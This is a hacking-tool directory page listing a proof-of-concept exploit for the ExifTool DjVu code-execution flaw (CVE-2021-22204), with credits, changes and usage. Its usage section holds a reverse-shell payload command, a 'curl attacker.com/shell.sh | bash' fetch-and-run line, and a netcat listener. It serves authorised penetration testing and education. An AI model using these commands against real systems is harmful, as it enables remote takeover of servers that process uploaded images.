Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22204 — ExifTool RCE exploit (CVE-2021-22204) - improved version, no exiftool dependency | Kitploit
Tools/GitHubGitHub/d4ytox/cve-2021-22204
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubd4ytox/cve-2021-22204

CVE-2021-22204

ExifTool RCE exploit (CVE-2021-22204) - improved version, no exiftool dependency

View Repository
1018 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-22204 - ExifTool Arbitrary Code Execution

An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files.

Credit

This is derivative work. The vulnerability and the original exploit are not mine.

RoleWho
Vulnerability discovered byWilliam Bowling (@wcbowling), reported via the GitLab bug bounty programme — April 2021
Original PoC byUNICORD (NicPWNs & Dev-Yeoj)
Modifications in this repo byd4ytox

Description

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 to 12.23 allows arbitrary code execution when parsing a malicious image. This exploit generates a malicious image file that, when processed by a vulnerable ExifTool version, executes attacker-controlled code.

What this version changes

Building on UNICORDev/exploit-CVE-2021-22204:

  • No ExifTool dependency on the attacker machine - The original uses exiftool -config to embed the payload, which fails if your own ExifTool is patched (v12.24+). This version builds a pure DjVu payload using only djvumake.
  • Works on modern Kali - Compatible with Python 3.12+ (fixes the \c escape sequence warning)
  • Minimal dependencies - Only requires the djvulibre-bin package
  • Clean, minimal code - No ASCII art or artificial delays

These are engineering changes to an existing exploit. No vulnerability research is claimed.

Requirements

root@kitploit:~
sudo apt install djvulibre-bin

Usage

Reverse Shell:

root@kitploit:~
python3 exploit.py -s <LHOST> <LPORT>

Custom Command:

root@kitploit:~
python3 exploit.py -c "id > /tmp/pwned"

Examples:

root@kitploit:~
# Generate reverse shell payload
python3 exploit.py -s 192.168.1.100 4444

# Generate command execution payload  
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"

# Start listener and wait for callback
nc -nlvp 4444

The exploit generates image.jpg - upload this to a target where ExifTool will process it.

Affected Versions

  • ExifTool 7.44 - 12.23

References

  • NVD Entry - CVE-2021-22204
  • Original report by William Bowling - HackerOne #1154542
  • ExifTool Advisory
  • ExifTool patch commit
  • Original PoC - UNICORDev/exploit-CVE-2021-22204

Disclaimer

This tool is provided for educational and authorized security testing purposes only.

The author is not responsible for any misuse or damage caused by this tool. Only use this exploit against systems you own or have explicit written permission to test.

Unauthorized access to computer systems is illegal and punishable by law. Use responsibly.

Licence

MIT, applying only to the modifications in this repository. The upstream PoC carries no licence, so it remains all rights reserved by its authors. See LICENSE for the full attribution notice.

Download Tool